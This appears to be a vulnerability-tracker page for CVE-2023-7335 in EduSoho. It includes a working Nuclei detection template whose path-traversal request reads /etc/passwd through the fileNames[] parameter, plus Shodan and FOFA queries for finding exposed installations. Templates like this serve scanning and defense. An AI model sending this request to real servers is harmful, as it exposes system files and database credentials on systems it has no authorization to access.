CVE-2023-7335: EduSoho < 22.4.7 - Unauthenticated Arbitrary File Read

2026-11-12 PoC Public

Description

EduSoho < 22.4.7 contains a path traversal caused by crafted path traversal sequences in the fileNames[] parameter in classroom-course-statistics export functionality, letting remote unauthenticated attackers read arbitrary files including sensitive configuration files, exploit requires no authentication.

Details

CVE
CVE-2023-7335 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2023-7335

info:
  name: EduSoho < 22.4.7 - Unauthenticated Arbitrary File Read
  author: 0x_Akoko
  severity: high
  description: |
    EduSoho < 22.4.7 contains a path traversal caused by crafted path traversal sequences in the fileNames[] parameter in classroom-course-statistics export functionality, letting remote unauthenticated attackers read arbitrary files including sensitive configuration files, exploit requires no authentication.
  impact: |
    Remote attackers can read arbitrary files including sensitive configuration files, potentially exposing secrets and database credentials.
  remediation: |
    Update to version 22.4.7 or later.
  reference:
    - https://vulncheck.com/advisories/edusoho-arbitrary-file-read-via-classroom-course-statistics
    - https://github.com/gobysec/GobyVuls/blob/master/CNVD-2023-03903.md
    - https://github.com/zeroChen00/exp-poc
    - https://www.cnvd.org.cn/flaw/show/CNVD-2023-03903
    - https://github.com/edusoho/edusoho/releases/tag/v22.4.7
    - https://nvd.nist.gov/vuln/detail/CVE-2023-7335
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2023-7335
    epss-score: 0.00756
    epss-percentile: 0.55477
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: edusoho
    product: edusoho
    shodan-query: title:"Powered By EduSoho"
    fofa-query: body="Powered By EduSoho"
  tags: cve,cve2023,edusoho,lfi,traversal,unauth,vkev,cnvd

http:
  - raw:
      - |
        GET /export/classroom-course-statistics?fileNames[]=../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "csv")'
          - 'contains(body, "root:x:0:0:")'
        condition: and
# digest: 4a0a00473045022100f323e12c4fb548437fde6b7e0d2a672f4ac99dd6296e7b86f42ba5b91daf1666022054a2f2da98bf4e8fb49b6ff79ebef2fbdf12f61d5f8e78aa5073b53ad6bff29a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life